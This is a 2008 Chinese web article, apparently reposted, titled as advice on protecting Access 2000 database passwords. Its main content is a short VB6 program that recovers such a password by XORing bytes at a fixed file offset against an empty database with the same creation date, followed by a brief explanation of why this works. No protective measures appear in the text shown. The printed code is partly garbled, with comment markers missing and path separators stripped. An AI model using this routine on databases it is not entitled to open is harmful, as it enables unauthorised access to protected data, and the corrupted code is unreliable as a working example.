防止Access 2000密码被破译的方法

来源:ddvip.com 时间:2008-11-20 16:48:00 

如果你过分信任 Access 2000数据库的密码保护,你可能会因此而蒙受损失。这是因为Access 2000的数据库级密码并不安全,相反它很脆弱,甚至下面这段非常小的程序就可以攻破它:

程序一(VB6):Access 2000密码破译



Private Sub Command1_Click()
Const Offset = &H43 文件偏移地址:Access数据库从此处开始存放加密密码
Dim bEmpty(1 To 2) As Byte, bPass(1 To 2) As Byte
Dim i As Integer, Password As String
打开一个空数据库作为参照
Open "D:VB6_TestMDB_PasswordNew_Empty_DB.mdb" For Binary As #1
打开被密码保护的数据库
Open "D:VB6_TestMDB_PasswordPass_Protected_DB.mdb" For Binary As #2
Seek #1, Offset
Seek #2, Offset
For i = 1 To 20 ' Access 2000 数据库密码最长允许20位
Get #1, , bEmpty ' 其中每位密码占两个字节
Get #2, , bPass ' 一个汉字也仅是一位密码,占两个字节
If (bEmpty(1) Xor bPass(1)) <> 0 Then
Password = Password + Chr(bEmpty(1) Xor bPass(1)) ' 将密码解密
End If
Next
Close 1, 2
MsgBox "Password:" + Password ' 显示密码
End Sub

一、深入分析

上述程序成功的关键是使用了一个空数据库(New_Empty_DB.mdb)。该数据库的创建日期必须与被密码保护的数据库(Pass_Protected_DB.mdb)相一致。 换句话说,Access 2000 仅仅是使用&ldquo;数据库创建日期&rdquo;来加密用户密码。

应注意的是:上面的&ldquo;创建日期&rdquo;只是操作系统级的,也就是 Windows记录在文件夹目录里的信息(根据文件名的长短,每个文件在目录里占用至少32个字节,包括:文件名、属性、文件大小、首蔟号、创建时间、修改时间和访问时间等)。

标签:
0
投稿

猜你喜欢

  • PHP遍历目录实现方法介绍

    2023-05-25 06:31:41
  • 扩展数据库系统选项实现更高的可扩展性

    2009-01-06 11:14:00
  • SQL SERVER数据操作类代码

    2012-07-11 16:16:12
  • css清除浮动的方法总结与选择

    2008-06-06 12:58:00
  • 把论坛从ACCESS转成SQL版本

    2009-04-13 15:59:00
  • Dreamweaver给你的网页盖个章

    2008-02-03 11:35:00
  • sqlserver 日期比较、日期查询常用语句:月的第一天,季度的第一天等

    2010-08-01 18:58:00
  • asp下去除超链接的函数

    2011-03-29 11:11:00
  • SQL Server连接失败错误及解决

    2008-01-28 21:09:00
  • 打造“前端开发”程序员专用版EditPlus

    2009-01-05 13:04:00
  • 影响ORACLE汉字显示的字符集问题

    2008-06-13 16:49:00
  • 优化你的ASP程序及优化网页

    2007-10-06 23:02:00
  • js放大缩小容器:仿动画

    2008-02-15 11:34:00
  • 20年来我得到的20条编程经验

    2010-05-26 13:44:00
  • 特效代码:弹出一个淡入淡出的提示框

    2008-05-22 17:11:00
  • MySQL数据库只监听某个特定地址的方法

    2008-12-05 16:11:00
  • ASP初学者学习ASP指令

    2008-10-14 17:27:00
  • js查找/搜索页面中的字符源代码

    2008-02-17 17:13:00
  • SQL优化基础 使用索引(一个小例子)

    2012-01-29 18:29:26
  • WEB设计经验-来自Microsoft

    2008-05-15 07:30:00
  • asp之家 网络编程 m.aspxhome.com